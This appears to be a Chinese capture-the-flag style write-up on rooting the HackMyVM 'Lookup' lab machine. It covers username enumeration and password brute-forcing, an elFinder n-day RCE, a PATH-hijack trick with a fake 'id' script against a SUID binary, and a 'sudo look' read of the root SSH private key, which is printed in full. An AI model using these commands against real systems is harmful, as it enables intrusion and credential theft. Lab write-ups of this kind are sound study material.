阅读须知:
In-X安全团队技术文章仅供参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作,由于传播、利用本公众号所提供的技术和信息而造成的任何直接或者间接的后果及损失,均由使用者 本人负责,作者不为此承担任何责任,如有侵权烦请告知,我们会立即删除并致歉,创作不易转载请标明出处.感谢!
0x00信息收集
0x01端口扫描
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:0A:44:CF (Oracle VirtualBox virtual NIC)
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.hmv
|_http-server-header: Apache/2.4.41 (Ubuntu)
0x02目录扫描
login.php
0x10web
根据端口开放情况来看,只能根据web先来看,web页面访问是一个登陆界面。并且可以根据返回包可以来判断用户是否存在用户存在
Wrong password. Please try again.
Redirecting in 3 seconds.
用户不存在
Wrong username or password. Please try again.
Redirecting in 3 seconds.
根据响应包特征先爆破出用户名,之后根据用户名爆破出密码。进行第一步的突破验证。
爆破出用户为admin 和jose,因此针对两个用户进行弱密码爆破 爆破可得
admin:password123
jose:password123
0x11 get_shell
登陆之后可以查看界面,我们可以看到这是一个文件管理器。找到了对应的版本,可以看到是elFinder的2.1.47版本,有对应的rce。直接利用nday拿到权限。
0x20 后渗透
针对于这一点其实我个人是觉得有点像ctf了。我们找到赋予了suid的一些命令。
find / -perm 04000 2>/dev/null
ls -al /usr/sbin/pwm
-rwsr-sr-x 1 root root 17176 Jan 11 2024 /usr/sbin/pwm
看过wp才发现这是pwm文件有问题。直接利用meterpreter download 将pwm下载下来。
0x21pwm分析
运行程序
x64位程序使用ida反编译,拿到伪代码,分析一下。
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+Fh] [rbp-131h]
FILE *stream; // [rsp+10h] [rbp-130h]
FILE *v6; // [rsp+18h] [rbp-128h]
char v7[64]; // [rsp+20h] [rbp-120h] BYREF
char s[112]; // [rsp+60h] [rbp-E0h] BYREF
char filename[104]; // [rsp+D0h] [rbp-70h] BYREF
unsigned __int64 v10; // [rsp+138h] [rbp-8h]
v10 = __readfsqword(0x28u);
puts("[!] Running 'id' command to extract the username and user ID (UID)");
snprintf(s, 0x64uLL, "id");
stream = popen(s, "r");
if ( stream )
{
if ( (unsigned int)__isoc99_fscanf(stream, "uid=%*u(%[^)])", v7) == 1 )
{
printf("[!] ID: %sn", v7);
pclose(stream);
snprintf(filename, 0x64uLL, "/home/%s/.passwords", v7);
v6 = fopen(filename, "r");
if ( v6 )
{
while ( 1 )
{
v4 = fgetc(v6);
if ( v4 == -1 )
break;
putchar(v4);
}
fclose(v6);
return 0;
}
else
{
printf("[-] File /home/%s/.passwords not foundn", v7);
return 0;
}
}
else
{
perror("[-] Error reading username from id commandn");
return 1;
}
}
else
{
perror("[-] Error executing id commandn");
return 1;
}
}
-
首先运行id命令将id命令结果写入数组,之后进行读取,如果能读到内容。就进行下一步 -
下一步匹配uid=%*u(%[^)]) 对应的uid=后的内容将括号内的内容写入 V7 -
/home/%s/.passwords 读取对应v7的home文件夹下面的文件夹的内容
分析到这里其实我们已经发现,首先这个pwm文件是由suid权限的。并且对于/home只有think 一个用户,我们可能就是要利用id命令,送一个think字符串进去从而读取/home下的 think的password。
0x22伪造id
# 首先改变PATH
PATH=/tmp:$PATH
cd /tmp
echo 'echo "uid=0(think)"' > id
chmod +x id
此时再运行pwm文件可以看到我们已经拿到/home/think/.password的内容
0x23横向think用户
经过不懈的努力,我们终于拿到了think用户的密码候选,我们利用hydra进行爆破。成功拿到对应的ssh的密码进行登陆。
ssh [email protected]
0x24权限提升
查询到sudo 权限有一个look可以为我们所用。但是此时可以看到/etc/passwd 和/etc/shadow 因为我们有root权限,所以可以根据root权限进行操作。但是事情总是不尽如人意,并没有爆出对应的root密码。之后想到如果我们能拿到root的ssh私钥,我们照样可以针对于root用户进行一个密钥验证。
LFILE=/root/.ssh/id_rsa
sudo look '' "$LFILE"
查看root下的 .ssh/id_rsa,拿到私钥
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
将内容保存在rsa文件中
chmod 600 rsa # 一般都需要设置成600
ssh root@ip -i rsa
0x30 总结
lookup这台机器算是hmv中难度中等的一个机器,主要还是通过突破验证到达指定文件系统。文件系统是易受攻击的系统。拿到服务器权限之后,这一点我确实认为pwm这个文件太像ctf了,分析之后利用id伪造拿到密码横向到think用户,最后是通过sudo 提权拿到root私钥成功获取权限。下机
原文始发于微信公众号(InXSec):Hackmyvm-Lookup
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论